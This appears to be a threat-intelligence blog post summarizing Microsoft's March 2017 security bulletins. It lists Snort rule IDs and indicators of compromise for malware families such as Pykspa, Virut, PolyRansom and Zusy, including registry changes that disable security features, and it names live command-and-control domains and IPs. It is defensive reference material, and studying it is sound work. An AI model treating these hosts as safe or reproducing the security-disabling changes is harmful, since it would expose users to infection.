• 0b43897829c6dcab5f3dc05e024733ec6b7bacc064c6a15272f2312c4d170698
• 3713f73a8c8aaab9cb3c02f0757283522f5046bbe263815358bda95bfb51c6ed
• 3a3730877e932b5d347e622dc0179c0eb5e561ab468b431d95b9d9d9a69ba827
• 41641fb06700d2fe01af837a4a5df9ad5938e46996471f0f95484ccfd3ca4c73
• 48e1dc63f2ec7633cd32dd728402d89be4056b8c70f35fe0b619b0d6ac8478f7
• 4b01733631a7f522d94d81b7e365114f5a9189de19399b21f7943d2ba7cb0dfa
• 4d2a2b3f62a99929f38239ce6265ac25fb36b0adc42a116dce8069d89948d28f
• 4dcde1782ea114aead7d200fd5565e96582441470b4e78612b69efe23f8d8746
• 4f835acf498699ab852fde2686af201985e02e081667b1ce3061c4fe77826942
• 5144d2f1b2edc796a74384240cba0958c6dfce05a3d33ceb3cf2f7a979b3211a
• 5b00458894e67137e0c3b711055cc0223988cda67060122ca57ad4a91600c4ca
• 61bf6b2cc57215c755000abb19117c6b7978d625ba54e6865c98066fa784ea7f
• 62b6001c8241155bc169863447444489b75d9ac0b9f1555e565581f5a06770f0
• 771569f8f32e2cf90a9574f02da30e9c103a40797f90330982333b11ef26500f
• 802f50a54c435d59e69e80ca5420316e1c86f86ae0d356c0569e0d4d8db176be
• 80f067f309d99d3388ee2ee0631d270fd891be0cf43e117b541ce04d0adcb8ce
• 9b0604d4f05fb0112edfd51d255a847af36ea2ebc43d2c5612d86b605b62f8f2
• 9f4a05b09c6cd960754e97d16c0aeddf057aac287ab7aed908eeeffb9ef11ffd
• a00dc97cdaa57dc9baf07d29d9659a1d9939484333dbdfe3665342e2db344cba
• ba259ed6c12120a60f14dee8393b2fdf105db514fdeecfe973f3c285e72fa917
• bb3679f23884bbe8598e1d1b7f78ae4decab004ac9abde0ab0623040e5cd6242
• cf14b28c6e8c4ac5ce3c95a27ba6ccf06ab0a19e5f8500486e8cb6b65e8130e8
• e21742cef8ec4034b619cbd181f2586da2fe526cc84ba969316e69fb76a9b574
• Ffd250866635598d34540049c570eaa51811ff798a8d6fffb613741339574c0c

Coverage

Detection Engines

AMP


Umbrella 

Following a sparse February patch Tuesday, today’s March release brings a bumper crop of fixed vulnerabilities: 17 bulletins covering 140 different vulnerabilities, 47 of which are rated as critical. The critical vulnerabilities affect Internet Explorer, Edge, Hyper-V, Windows PDF Library, Microsoft SMB Server, Uniscribe, Microsoft Graphics Component, Adobe Flash Player and Microsoft Windows. 92 vulnerabilities are rated as important, additionally affecting Active Directory Federation Services, DirectShow, Internet Information Services, Microsoft Exchange Server, Microsoft Office, Microsoft XML Core Services, Windows DVD Maker, Windows Kernel, Windows Kernel-Mode Drivers.

Bulletins Rated Critical

MS17-006, MS17-007, MS17-008, MS17-009, MS17-010, MS17-011, MS17-012, MS17-013 and MS17-023 are rated critical.

MS17-006 is this month's Internet Explorer bulletin. Within the 6 critical Internet Explorer vulnerabilities, 3 relate to remote code execution vulnerabilities due to how browsers handle objects in memory. One of these, CVE-2017-0149 is actively being exploited in the wild. 2 critical vulnerabilities can be exploited to execute remote code due to the way that JScript and VBScript render when handling objects in memory. Although the remaining critical vulnerability doesn’t allow code execution itself, it can be exploited in conjunction with a code execution vulnerability to execute code with higher privileges than shoallinauld be permitted. 4 further vulnerabilities are rated as important, relating to vulnerabilities that can be exploited to disclose information from memory or disk. The last 2 important vulnerabilities relate to incorrect parsing of HTTP headers which potentially allow an attacker to redirect a victim to a malicious website. These 2 vulnerabilities, CVE-2017-0012 and CVE-2017-033 are also found in Edge, and included in the bulletin MS17-007.

MS17-007 is concerned with vulnerabilities in Edge, describing 20 rated as critical and 10 as important. 15 of these critical vulnerabilities relate to issues in how scripting engines render when handling objects in memory, potentially allowing attackers to execute arbitrary code on affected systems. The critical vulnerability CVE-2017-0037 is shared with Internet Explorer, allowing an attacker to execute arbitrary code through a memory corruption vulnerability. Three further vulnerabilities exist in how Edge accesses objects in memory which can also be abused to execute arbitrary code, two of these are rated as critical. One critical vulnerability relates to the MS Windows PDF library where viewing a website containing malicious PDF content can cause remote code execution. This vulnerability is described in more detail in MS17-009. A further memory corruption vulnerability unique to Edge CVE-2017-0034, allows arbitrary code to be executed in the context of the user. 5 important vulnerabilities potentially allow an attack to discover information from memory. 3 vulnerabilities relating to incorrect parsing of HTTP headers are rated as important, 2 of these are shared with Internet Explorer and also addressed in MS17-006. Vulnerabilities in the incorrect application of the same origin policy for html elements account for 2 important and one moderate listings. Finally, one scripting engine memory corruption vulnerability is rated as important, distinct from the other critical vulnerabilities in the same system.

11 vulnerabilities in Windows Hyper-V are addressed in MS17-008, only 3 of which are related as critical. One of these is a vulnerability due to how Hyper-V on a server fails to properly validate vSMB packet data. An attacker within a virtual machine, could exploit this vulnerability to execute arbitrary code on the host. An additional vulnerability also related to validating vSMB packets exists, but is rated as important. Two critical vulnerabilities relate to how the host system validates input from authenticated users on a guest operating system potentially allowing an attacker to execute arbitrary code on the host. Six important fixes for denial of service vulnerabilities, and one important fix for a memory disclosure vulnerability are also included.

MS17-010 addresses 6 vulnerabilities in Windows SMB Server. 5 critical vulnerabilities can be exploited by an attacker sending a malicious packet to a SMBv1 server to result in remote code execution. A further important vulnerability can be exploited by sending a malicious packed to a SMBv1 server to cause information from the server to be disclosed.

Microsoft Uniscribe is a series of services used in the rendering of Unicode characters. MS17-011 addresses 29 vulnerabilities in Uniscribe, of which 8 are rated as critical, the remainder as important. The critical vulnerabilities allow an attacker to take full control of a system by hosting malicious content on a website that the victim is tricked into visiting, or by enticing a victim into opening a specially crafted malicious file. The vulnerabilities rated as important, can be exploited in the same way, but result in the disclosure of memory contents to the attacker.

The MS17-012 bulletin fixes 5 important vulnerabilities, and a single critical vulnerability. The critical vulnerability is in the Internet Storage Name Service (iSNS) server service which fails to properly validate client input. This potentially allows an attacker to run arbitrary code in the context of the SYSTEM account on an affected system. The important vulnerabilities are in Device Guard which permits an attacker to modify a PowerShell script without invalidating the file signature; a denial of service vulnerability in SMBv2 and SMBv3; and a remote code execution vulnerability in loading certain DLL files.

Microsoft Windows Graphics Component is used by a number of different programs including Microsoft Office and Silverlight. MS17-013 describes 2 critical and 10 important vulnerabilities in the component. The critical vulnerabilities result in remote code execution when exploited by either tricking a victim into visiting a website hosting malicious content, or getting a victim to open a malicious file. The important vulnerabilities exist in how Windows Graphics Device Interface handles objects in memory, allowing a local user to execute code in kernel mode, a remote user to discover memory contents, or help in bypassing address space layout randomization (ASLR) protection.

Patch Tuesday is never complete without an Adobe Flash Player bulletin, and MS17-023 delivers by addressing the critical vulnerabilities otherwise described in Adobe Security Bulletin APSB17-07. This update resolves a series of remote code execution vulnerabilities in Adobe Flash Player. If you can’t patch, or remove Adobe Flash Player, the bulletin describes a number of workarounds to prevent Flash Player from executing.

Bulletins Rated Important

MS17-014, MS17-015, MS17-016, MS17-017, MS17-018, MS17-019, MS17-020, MS17-021, and MS17-022 are rated important.

Although MS17-014 addresses 12 vulnerabilities in Microsoft Office, not a single one of the vulnerabilities is classed as critical, nevertheless all are important. 7 of these allow an attacker to execute arbitrary code in the context of the local user with the aid of a user opening a malicious document or visiting a malicious content hosting website. Further vulnerabilities permit an attacker to perform a denial of service attack against Microsoft Office, disclose memory contents, facilitate cross site scripting (XSS), and tamper with trusted communications through an improperly validated certificate.

MS17-015 and MS17-016 describe single vulnerabilities, both rated as important in Microsoft Exchange Outlook Web Access and Microsoft IIS Server respectively. The Outlook Web Access vulnerability allows an attacker to perform content injection attacks via a victim clicking a malicious link in an email or in a chat client. The IIS Server vulnerability allows an attacker to perform a cross site scripting attack (XSS) and run scripts in the context of the current user; again a victim must click a malicious link for the attack to succeed.

MS17-017 and MS17-018 address 12 important vulnerabilities in Windows Kernel and Windows Kernel-Mode Drivers. These vulnerabilities allow a locally authenticated user or a user with local access to improperly escalate their privileges.

Bulletins MS17-019, MS17-020, MS17-021, MS17-022 relate to single important vulnerabilities in Active Directory Federation Services, Windows DVD Maker, Direct Show and XML Core Services. This series of vulnerabilities allow attackers to gather information from the affected system. In the case of Windows DVD Maker the attacker must be locally authenticated to trigger the exploit. The latter two vulnerabilities require the victim to visit a malicious website before they can be exploited.

Coverage

In response to these bulletin disclosures, Talos is releasing the following rules to address these vulnerabilities. Please note that additional rules may be released at a future date and current rules are subject to change pending additional vulnerability information. For the most current rule information, please refer to your Management Center or Snort.org.

Snort SIDs: 41549-41556, 41561-41598, 41601-41602, 41605-41610, 41633-41634, 41763-41764, 41926-41961, 41964-41998

This week's most prevalent threats are:

• Win.Worm.Pykspa-6057105
  This malware installs itself to maintain persistence, listens on an incoming port for additional commands, and drops executables on the system. Pykspa creates files in alternative data streams and may be able to perform recon operations such as reading clipboard data and keyboards keys pressed. Pykspa also contains evasive mechanisms such as cursor move detection and disables Windows Defender.
• Win.Trojan.Drivedos-6042667
  This malware uses a Domain Generation Algorithm (DGA) to communicate with a C&C server to download additional files. It may infect USB devices and is able to infect the boot sector. It also contains features to read data from the clipboard and log keystrokes. It drops executable files with the .PIF file extension.
• Win.Virus.Virut-5898123-1
  Virut is a polymorphic file infector. Its bearing trait is its obfuscation of code immediately following the entry point, and such code continues to change over time as it attempts to avoid detection. Once unpacked, it will hook relevant Windows API calls in order to start infecting other files on the host. It will also set up a backdoor, allowing it to download & execute additional malware.
• Win.Virus.PolyRansom-5704625-0
  PolyRansom is a polymorphic file infector. What's more, it also acts as ransomware, locking access to the infected host after some time has passed. Upon execution, it will create a large number and a wide variety of new process instances. Finally, it will lock down the Windows host and demand a ransom payment in the form of Bitcoins. The ransom note replaces the desktop wallpaper, and it's designed to trick the user into believing that they've committed copyright infringement, thus requiring a Bitcoin fine.
• Doc.Dropper.ZwMacros-6057750-0
  This malicious document installs TOR and PHP on the system. The PHP executable is set to autorun with a link in the Start Menu Startup. From the dropper document itself there is code to perform interprocess memory operations.
• Win.Downloader.Mupad
  Mupad beacons out to a series of domains in an attempt to download and execute a payload. It enumerates the system to get information like installed antiviruses, and whether the system is running in a Virtual Machine.
• Doc.Dropper.Agent
  This sample is a word document that uses VBscript within the document to execute a PowerShell payload that is used to download and execute other malicious payloads.
• Win.Trojan.Redirect-6055402-0
  The malware is a dropper, which unloads other malware. It drops a dll and an executable file. The dll is preloaded into every started process, and in turn launches the executable, the actual threat. Currently the dropper is used to deploy Cerber.
• Win.Trojan.Zusy-6041926-0
  Zusy is a trojan that injects itself in other Windows processes and in the browser to steal valuable information. The malware has also anti-debugging and anti-vm capabilities and it contacts an hardcoded C&C server.
• Win.Trojan.PasswordStealer
  This sample is a VB-packed binary that tries to steal passwords from, at least, the Firefox web browser, the FileZilla FTP client, Chrome, Internet Explorer, and a number of other applications such as PokerStar, VNC, Foxmail, vnc clients, and others.
• Doc.Macro.ObfuscatedObj-6059281-0
  Word document uses obfuscated macro to contact C2 server to download payload and execute it.

Details

Win.Worm.Pykspa-6057105

Registry keys created

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Value name: [a-z]{12,18}
  • Value data: [a-z]{12,18}.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Value name: [a-z]{12,18}
  • Value data: %TEMP%\[a-z]{12,18}.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  • Value name: [a-z]{12,18}
  • Value data: [a-z]{12,18}.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
  • Value name: [a-z]{12,18}
  • Value data: %TEMP%\[a-z]{12,18}.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
  • Value name: [a-z]{12,18}
  • Value data: [a-z]{12,18}.exe
• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run
  • Value name: [a-z]{12,18}
  • Value data: [a-z]{12,18}.exe
• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • Value name: [a-z]{12,18}
  • Value data: [a-z]{12,18}.exe
• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: DisableRegistryTools
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: DisableRegistryTools
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
  • Value name: NoDriveTypeAutoRun
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Security Center
  • Value name: AntiVirusOverride
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Security Center
  • Value name: FirewallOverride
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Security Center
  • Value name: UacDisableNotify
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Security Center
  • Value name: AntiVirusDisableNotify
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Security Center
  • Value name: FirewallDisableNotify
  • Value data: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Security Center
  • Value name: UpdatesDisableNotify
  • Value data: 1

Registry keys modified

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  • Value name: Shell
  • Old Value: explorer.exe
  • New Value: Explorer.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: ConsentPromptBehaviorAdmin
  • Old Value: 5
  • New Value: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: ConsentPromptBehaviorUser
  • Old Value: 3
  • New Value: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: EnableInstallerDetection
  • Old Value: 1
  • New Value: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: EnableSecureUIAPaths
  • Old Value: 1
  • New Value: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: EnableVirtualization
  • Old Value: 1
  • New Value: 0
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
  • Value name: PromptOnSecureDesktop
  • Old Value: 1
  • New Value: 0
• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
  • Value name: NoDriveTypeAutoRun
  • Old Value: 145
  • New Value: 1
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL
  • Value name: CheckedValue
  • Old Value: 1
  • New Value: 145

Mutex Created

• \Sessions\1\BaseNamedObjects\[a-z]{23}

Files Created

• %TEMP%\[a-z]{10}\[a-z]{12,18}.exe
• %TEMP%\[a-z]{7}.exe
• %TEMP%\[a-z]{7}.exe\:Zone.Identifier:$DATA

IP Addresses

• N/A

Domain Names

• sayapo.info
• dga [a-z]{6,16}(.biz|.cc|.com|.org|.info|.net)

File Hashes

• 754de992cb2fbd82f19ee1995f9bb55eea570a3b9943758f651a330fec9d26e5
• 531ce14a93b47b8f69eac108d4465af69053a9470a35ff267e4efdeebd4d995c
• 26c7a51105bcef9bba665a249cdd2b3b74fa7ab1cfcac06df92910630c1036aa
• 04e839b3d350b9c8d451593f20eaaf5b8768c8d6874fd9026bf9b23b9c9fc975
• 604ff7d77ea2415ff4aecd22c3c83285a3b516d0186809b7841e074fc488d108
• d7e2866ee4094c2a63e2e14186966713143fae4c1d2fac1346b7c12ec4444154
• fc359947e53d484866a43caf2da2d8005b68446581e3f3bab4913f57cd545a7f
• 957659bf309e485197115bbdec68c62d75433d6b64fe480a35f7bec5a372fdc7
• 117f0b08c48a7e158d44ba94b4fe7b47982e53372dd9b1b55f5f4eed90e58ce7
• 754de992cb2fbd82f19ee1995f9bb55eea570a3b9943758f651a330fec9d26e5
• 117d791e685972b6524f739d26908ddbe8ed3470702d04134a955f357b1185d0
• 36c28c31b0987ed74eed3a930a885d7bfb21aabed27a313f5b5e96f84e898f68
• a9c3ac8773bb6cad7b1b3f3465622f65368aca72d662d3451e882a9a793041a9
• 04be7f72bea90aa7df0448a3bcde7f28e912533556e9a7860c766d2438f504be
• dc3ed0f17ea7cc2d27047d978c82d7964fbc78df14fce653cc00e5c6f5da1fd6
• d49d7c53e52d4c3b786582523ca8212da5f10356ea92d578035d21fe38cf30af
• 615754a3a05b95a42403435bf6ae1e2e1959f8b975bc691b144b1cfb5cf50a1b
• 433d74c69c5bbe305028333b57fd69f97291858f49cd43ef4982cd2daa30b1a3
• 31433f840a8db9884c9387f7f0c9a78c17be7902a41fbdfd8bb994cebd3aaa4d
• c227b3c4a1266a8e1066222bcd486eea541ae13167b39fd5f41e7f3a50f7df2d
• 76c155b1b90d23eca76a4083085635cc905b32ce71d0218529bd8363a2dc0362
• f9f763d928686b246417916406e676a198dfe1975b7b50a5aac55b553f302f98
• 8ead2aa687a818fe86bd2e89f08f6abedda3767108ea4c758d3997ec68e89da9
• ca795997ee736f7719e50a334746a5065b007f00983fb70bf88fa3d7f5acaa9d
• 423d415ced7de7c51ab52ed176a91777a4075450c1253323c2edc8485c2bcad9
• 484bbaef80deaf32e39bbe5cc242f320544cadbf47d7dedfcf47e910ce1899aa

Coverage

Detection Engines

AMP
ThreatGrid
Umbrella

---

Win.Trojan.Drivedos-6042667

Registry keys created

Depending on versions, persistence keys may point to differents places.

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Value name:
  • Value data: %ALLUSERSPROFILE%\Application Data\winaddrss.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Value name:
  • Value data: %SYSTEMROOT%\M-505045058025025030484340240\winmgr.exe

Registry keys modified

• N/A

Mutex Created

• \Sessions\1\BaseNamedObjects\qazwsxedc

Files Created

• %PROGRAMDATA%\winaddrss.exe
• %ALLUSERSPROFILE%\Application Data\winaddrss.exe
• %ALLUSERSPROFILE%\Templates\cvmonts.exe
• %SYSTEMROOT%\M-505045058025025030484340240\winmgr.exe
• %APPADATA%\Microsoft\Windows\Start Menu\Programs\Startupx\system.pif

IP Addresses

• 220.181.87.80

Domain Names

• nt13.net
• [a-z]{18}.ru
• wdokwuroouaklzwudo.ru
• wurzuqeozoueztuzqe.ru
• abdzwuazduroowdufa.ru
• opunamurwueodhsheu.ru
• trikhaus.info

File Hashes

• 16c6db5a6b9ab04aac6fe2d38bcee4543a2bd650a37693a3d449a7d411b02bdf
• fe8c4878488eec138c635317dbb7e82fec2fad7c549df60182adae0d5ae7e774
• 0f932d9b1698dc98e89817f52ad7ca80f2578535c9bac8f311a34ce43eee625d
• 96c5a42526706c8ba31b1fc2c60b7bcc9fd11286d586fb81ccecb17bbe9501a1
• 6763222c1d8f93b7c84771487cc1a16ca70766d6222503cf3f20a78838fb1153
• 49fda7e75fa833795dd416228eec9016261c6755260aa2ac0bfc629595ec2b3d
• 3f6c8c5753dc4cc4d662cd1519034cb79be63d2192ed2e1995fe05d7b823621e
• d7dc5f282f2c8d5a3cde29c2aa999cc2825bfaf5739d7ce85b81ff84b25dc71c
• 792f06ffc67477d268292f1a1f51679fbfbc6364f0a6c7ca09314fa6b8f2f027
• 6b5220f76c9d8dc82ce0882689036b886ff3b8518d7f2fcacbdd0f400f6ead59
• e657dc7ffe72e46136592dccb5a1d6d3f6caa46ccf68e92a8cfe242b437f9c7c
• 1ca6ea2752a0bb807715720916ec2c96b5c6d65760001a148e5ec18cba5b0a07
• 4f9d401aa1795945428725856b170bbe8a2ea8ae51d1fe1c79d47db140d097bf
• 39a1049145c63171863b3b3934c0cb57b7df14b8935b672322d21ac7881a73ae
• 3534232b1c45f9c4708040a448abdf0b2f7536eb145fa68933f9f864b987355a
• cf69f52b7361c19afaad789b9928682d9821bebcf5c3f46722cc853f02144275
• 70d21eb4e53b696ec8fc4c28917d5dc4a9a1b9eae14701b1af4fee2f35e2fbe5
• 1c8de52e1c5fc3925f1f78d4086d7ebec0e303886b2baafd4de6e61fcf93bfe7
• 2b771e4c052cafea99e9ccd224975692d55905b3d3413c5eb06e4717e1a19d86

Coverage

Detection Engines

AMP

ThreatGrid
Umbrella

---

Win.Virus.Virut-5898123-1

Registry keys created

• HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List
  • Value name: \??\C:\WINDOWS\system32\winlogon.exe
  • Value data: \??\C:\WINDOWS\system32\winlogon.exe:*:enabled:@shell32.dll,-1

Registry keys modified

• HKEY_USERS\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  • Value name: ParseAutoexec
  • Old Value: 1H
  • New Value: 1.
• HKEY_USERS\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
  • Value name: ParseAutoexec
  • Old Value: 1.
  • New Value: 18
• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
  • Value name: SavedLegacySettings
  • Old Value: 3C 00 00 00 01 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  • New Value: 46 00 00 00 02 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Mutex Created

• \BaseNamedObjects\shqq

Files Created

• %SYSTEMROOT%\Prefetch\240848539.EXE-0BA5D3C2.pf
• %SYSTEMROOT%\system32\config\SysEvent.Evt
• %SYSTEMROOT%\system32\drivers\etc\hosts
• %SYSTEMROOT%\system32\wbem\Logs\wbemess.log
• \EVENTLOG
• \lsass
• \ntsvcs

IP Addresses

• 148.81.111.121

Domain Names

• sys.zief.pl

File Hashes

• bc11480f1900f19229113e575f4b46c4036b9b273154ee99e0e39811f4cc1a67
• 65a3a41c6de83a108586c9206b92730e9110590a49bccfd828b5e9c0834b9a2c
• cfe496ec011574bbe342cc433b0db3b9b3b5237c6628bbe863244428a76e064e
• 16c27585adacc893b2e707c84a295028026fdd8b1f7fda34390f8323a8d681e0
• 64bff8e6a772614a8ec0e6fd29f286fcac6cb7635df5c8df176d1fcc7a8b8931

Coverage

Detection Engines

AMP
ThreatGrid
Umbrella

---

Win.Virus.PolyRansom-5704625-0

Registry keys created

• HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Run
  • Value name: hYUIgYUw.exe
  • Value data: C:\Documents and Settings\Administrator\uyooEMMY\hYUIgYUw.exe
• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
  • Value name: gyAEkwAM.exe
  • Value data: C:\Documents and Settings\All Users\VeookAAk\gyAEkwAM.exe

Registry keys modified

• HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
  • Value name: Userinit
  • Old Value: C:\WINDOWS\system32\userinit.exe,
  • New Value: C:\WINDOWS\system32\userinit.exe,C:\Documents and Settings\All Users\VeookAAk\gyAEkwAM.exe,

Mutex Created

• \BaseNamedObjects\mMkUAokE
• \BaseNamedObjects\lEwoEIAg

Files Created

• %TEMP%\JOYckAoI.bat
• %TEMP%\jOUQoscQ.bat
• %SYSTEMDRIVE%\Documents and Settings\Administrator\WywoYQwk\VyIEwAQs.exe
• %SYSTEMDRIVE%\Documents and Settings\Administrator\aEkoggMo\BCQAQkUU.exe
• \ROUTER

IP Addresses

• N/A

Domain Names

• N/A

File Hashes

• ec2a9993e2ca725f7339e9a55be553df9a90ca65c6ba244e5bede7f535c53ee8
• 9646e43ca46f7fb0b9e38e9ad7a8baf11a5d1e0a38e9aa32f1970b4ffeca647d
• 07681725d504a43e09b7ccf67b9772d4804b5ebb06c6454a5e5012c406388694
• 1b93c96533e29413dc508deb7de16176d82876cc03ea67c9fc292e8a702ad3bd
• 64a5d4e837de315208093596e330104ef5b864fa5551b32acfd3467739a1caee

Coverage

Detection Engines

AMP
ThreatGrid

---

Doc.Dropper.ZwMacros-6057750-0

Registry keys created

• CURRENT_USER\Software\Microsoft\[A-Z][a-z]{3}
  • Value name: [A-Z][a-z]{4}
  • Value data:<<Large Base64 Binary Blob>>

Mutex Created

• Local\!IETld!Mutex
• Global\%{GUID}%
• Global\MTX_MSO_AdHoc1_S-1-5-21-1202660629-583907252-1801674531-500
• Global\MTX_MSO_Formal1_S-1-5-21-1202660629-583907252-1801674531-500
• Local\_!MSFTHISTORY!_
• Local\mtxLogMeInIgnition.IgnitionMutex

Files Created

• %USERPROFILE%\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\start.lnk
• %APPDATA%\Eliq\otke.gub
• %APPDATA%\Imom\xauf.hya
• %APPDATA%\[A-Z][a-z]{4}\php.exe
• %APPDATA%\Lyeb\php5ts.dll
• %APPDATA%\Lyeb\wuerhyy.php
• %APPDATA%\Moaf\aldok.wai
• %APPDATA%\libeay32.dll
• %APPDATA%\libevent-2-0-5.dll
• %APPDATA%\libgcc_s_sjlj-1.dll
• %APPDATA%\libssp-0.dll
• %APPDATA%\ssleay32.dll
• %APPDATA%\tor.exe
• %APPDATA%\tor\cached-certs
• %APPDATA%\tor\cached-microdesc-consensus
• %APPDATA%\tor\cached-microdescs.new
• %APPDATA%\tor\lock
• %APPDATA%\tor\state
• %APPDATA%\zlib1.dll
• %TEMP%\certutil.exe
• %TEMP%\cuukzaag.crt
• %TEMP%\freebl3.dll
• %TEMP%\libnspr4.dll
• %TEMP%\libplc4.dll
• %TEMP%\libplds4.dll
• %TEMP%\msvcr100.dll
• %TEMP%\nss3.dll
• %TEMP%\nssdbm3.dll
• %TEMP%\nssutil3.dll
• %TEMP%\smime3.dll
• %TEMP%\softokn3.dll
• %TEMP%\sqlite3.dll
• %TEMP%\~DF[0-9A-F]{4}.tmp
• %TEMP%\710796.cvr
• %TEMP%\BND.tmp

IP Addresses

• 151.80.42.103
• 184.72.248.171
• 185.158.153.228
• 192.42.113.102
• 216.146.38.70
• 216.146.43.70
• 46.165.230.5
• 54.235.135.158
• 60.43.178.142
• 62.210.213.17
• 85.10.213.104
• 91.198.22.70
• 91.219.236.222
• 91.219.237.244
• 95.175.98.222
• 95.215.44.105

Domain Names

• 7hoshi.co.jp
• api.ipify.org
• api.ipify.org.herokudns.com
• athentitevent.com
• checkip.dyndns.org
• henjoharlet.ru
• himlehesdidn.ru
• littmautrow.com
• www.annelizeheyns.co.za

File Hashes

• 62e6e5dc0c3927a8c5d708688ca2b56df93848b15a4c38aab173c5a8384395f9

Coverage

Detection Engines

AMP
ThreatGrid
Umbrella

Malware screenshot

---

Win.Downloader.Mupad

Registry keys created

• N/A

Registry keys modified

• N/A

Mutex Created

• N/A

Files Created

• N/A

IP Addresses

• 185.14.29.162
• 5.9.43.174
• 185.20.186.51

Domain Names

• fellowrat125.gdn
• impressvalley.gdn
• lundrhoaxvym.sandwichdrip.gdn
• g.licenceviolet.gdn

File Hashes

• b999e7ddcf337fb1cac4f701fa92fe2989ec915e50ef74cf1a92f9ac304201ae
• 624b830432a3aef2fd083769ae8fafed0e44a654ba5b0e8748cb88d9c3fa0c0d
• c27528d19bef0996cd9d673e461566db5bff79aec576da86150477386f159d74
• 938ede37610dc0d8b2ebbefc84c68abbd6d12248ee74727706ed9caa8ff1a201
• 2b9e88fa320e0202fdd9f70fddc6e54fdf25f29b99f0a0c7fe47098417509a29
• f6fc5c333cc6dd9f28038c96ff0eadc6035d882e0cb6aa0fa9c82bd2caac2238
• 68695c4b762ba5f0a28cc3697ffae36b1a1c853fae79693dfd48af632cc35cd1
• aa1c68db99e6bfbc80912c7fe1384cce8e37302bd0f0bc2f3a1f2dd0fbc24c29
• 2e1e599f47b8946d7352b4f311deac88659644ebe99228b712a3dfd70676d177
• fd399dad89188ec66d0e5abaa07ad9930a6593b5618bba0f7205ea489401cb34
• 84542607705c3b6b71c6dfa3357e391e8847d742ca0c0fc456f7af0b525cfbe7
• c70f6beab00e9a04fd931554a6ca577b09bf5211a4bbd217b2baea5f852d2718
• b603bb6cba61c46e204c91cbb505961def5a1a761e6400ec2376a9bf7a135cc6
• bbeec648b4efd53b7bc30813c2bfa37a1e13733f917abc304fb6fd2c381c8b40
• bbf546dbaa0d3518bb137f6cd57894248075632aa31f652f4bb518ee18231de4
• b22c3d312b85fa38b8126b896b9619638abc1c1e607f27d5c0ee18f82b5ca050
• 2c8196dc8447d6cc5c97abf9cb10bbe3aa5c59a329b01a66fd7d7dbaa917deea
• 0365e9072efcdfd79b387a5c0ba8b502234e30db869af48b3593a596c5fdd400
• 803b0dd10b18e2596df5be19ae16538a60a5f85539a3c69b3763484f578c7b24
• 065c5d863c32cf4d59685ceb0c3fc1c10085aa9fc2909a660c31eb4b4d2837e6
• 0179111af9b0ba0335924a4c3b38b23fa4033b88c06e270c0dbbf276d63d23be
• 21226e9c1c83f4bc6af95bea342173a05e14b7403b350343275ea894b231ec01
• a6cf136da14215e3e6f3c546e8c5920779ba1487b1d53b06373fd6ee5e1bd0dd
• 77aa0f4a65677410f727ea0c71c875e3f118684a8adb0c862d54fcb0a5034d9e
• fdc82c10ab30dde05433b6590caecfbe2a6abed46ebbbd466a83f57bea8895f7

Coverage

Detection Engines

AMP

ThreatGrid


Umbrella

---

Doc.Dropper.Agent

Files Created

• c:\~$runme.doc

IP Addresses

• 104.199.9.203
